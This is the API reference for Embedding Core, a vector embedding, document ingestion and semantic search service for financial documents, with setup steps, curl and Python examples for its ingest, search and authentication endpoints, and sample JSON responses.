API Reference

How to Use Embedding Core

Embedding Core is a unified vector storage, parsing, and text representation gateway designed specifically for enterprise financial workflows. By abstracting chunking algorithms, document extraction, and vector databases, it allows developers to build semantic search engines, stock advisors, and document query tools in minutes.

Scenario Selection Guide

Choose the database engine that matches your operational needs:

Step-by-Step Integration Guide

1. Step 1: Sign in & Retrieve API Key
   Open the Developer Console, authenticate with Google Sign-In, and locate your workspace API key in the API Keys panel.
2. Step 2: Configure Embedding Credentials (BYOK)
   Create or edit a configuration profile (e.g. default) in the settings panel. Select your embedding model provider (OpenAI, HuggingFace, etc.) and save your key. This ensures your vectors are computed securely.
3. Step 3: Setup target Vector Database
   In the database settings section, select your target storage engine (e.g., Qdrant, pgvector, or Memory). Input the endpoint connection URL and optional credentials or Google Service Account JSON key, and click Save.
4. Step 4: Programmatically Ingest Documents
   Trigger the POST /v1/ingest endpoint, passing your Bearer API Key, the document URL (PDF/HTML/TXT), file type, collection name, and target profile. The core fetches the document, parses tables, splits text into clean chunks, generates embeddings, and saves records.
5. Step 5: Perform Semantic Search
   Trigger the POST /v1/search endpoint with your natural language query. The engine automatically embeds the query using your BYOK model, calculates cosine similarity against the database index, and returns ranked document segments.
6. Step 6: Explore data in the Console
   Open the Database Explorer panel in the console, select your profile, choose a collection, and inspect stored chunk payloads, metadata attributes, and count metrics.

Authentication

The API uses two separate auth schemes depending on the endpoint:

Health check endpoint. Returns service status. No authentication required.

curl https://api.embeddingcore.io/health

{"status": "ok", "service": "level1-embedding-core", "version": "1.0.0"}

Fetches a remote document, parses text/tables, splits into chunks, embeds using your BYOK model, and stores vectors in your configured vector database collection.

curl -X POST https://api.embeddingcore.io/v1/ingest \
  -H "Authorization: Bearer sk-lvl1-your-api-key" \
  -H "Content-Type: application/json" \
  -d '{
    "source_url": "https://sec.gov/q3-2025.pdf",
    "file_type": "pdf",
    "collection_name": "q3_reports",
    "metadata": {"company": "AAPL", "quarter": "Q3-2025"}
  }'

import requests

resp = requests.post(
    "https://api.embeddingcore.io/v1/ingest",
    headers={"Authorization": "Bearer sk-lvl1-your-api-key"},
    json={
        "source_url": "https://sec.gov/q3-2025.pdf",
        "file_type": "pdf",
        "collection_name": "q3_reports",
        "metadata": {"company": "AAPL", "quarter": "Q3-2025"},
    }
)
print(resp.json())

{
  "status": "success",
  "doc_id": "a1b2c3d4-e5f6-...",
  "chunks_processed": 142,
  "collection_name": "q3_reports",
  "provider_used": "huggingface"
}

Embeds your query using your BYOK model and returns semantically similar chunks ranked by cosine similarity.

curl -X POST https://api.embeddingcore.io/v1/search \
  -H "Authorization: Bearer sk-lvl1-your-api-key" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "revenue growth projections for Q3",
    "collection_name": "q3_reports",
    "limit": 5
  }'

resp = requests.post(
    "https://api.embeddingcore.io/v1/search",
    headers={"Authorization": "Bearer sk-lvl1-your-api-key"},
    json={"query": "revenue growth projections", "collection_name": "q3_reports", "limit": 5}
)
for result in resp.json()["results"]:
    print(f"Score: {result['score']:.4f} — {result['payload']['text'][:100]}")

{
  "query": "revenue growth projections for Q3",
  "collection_name": "q3_reports",
  "total_returned": 3,
  "results": [
    {
      "id": "uuid-here",
      "score": 0.9241,
      "payload": {
        "doc_id": "a1b2...",
        "text": "Total revenue for Q3 2025 reached $94.9B, a 6% year-over-year increase...",
        "company": "AAPL",
        "quarter": "Q3-2025"
      }
    }
  ]
}

Exchanges a Google Firebase ID Token for a JWT session token and workspace credentials. Creates a new user + workspace on first login.

POST /v1/auth/google
Authorization: Bearer <google_firebase_id_token>

// First login (user created)
{
  "status": "created",
  "session_token": "eyJhbGciOiJIUzI1NiJ9...",
  "is_admin": false,
  "workspace_id": "wk_abc123def",
  "api_key": "sk-lvl1-xxxx",   // shown ONCE on creation
  "subscription_tier": "free"
}

// Returning user
{
  "status": "existing",
  "session_token": "eyJhbGciOiJIUzI1NiJ9...",
  "is_admin": false,
  "workspace_id": "wk_abc123def",
  "subscription_tier": "free"
}

Returns the authenticated user's profile and workspace statistics.

curl https://api.embeddingcore.io/v1/auth/me \
  -H "Authorization: Bearer <session_token>"

Updates your BYOK (Bring Your Own Key) configuration — embedding provider tokens and target vector database connection details.

Creates a Stripe checkout session for upgrading to the Standard or Enterprise plan.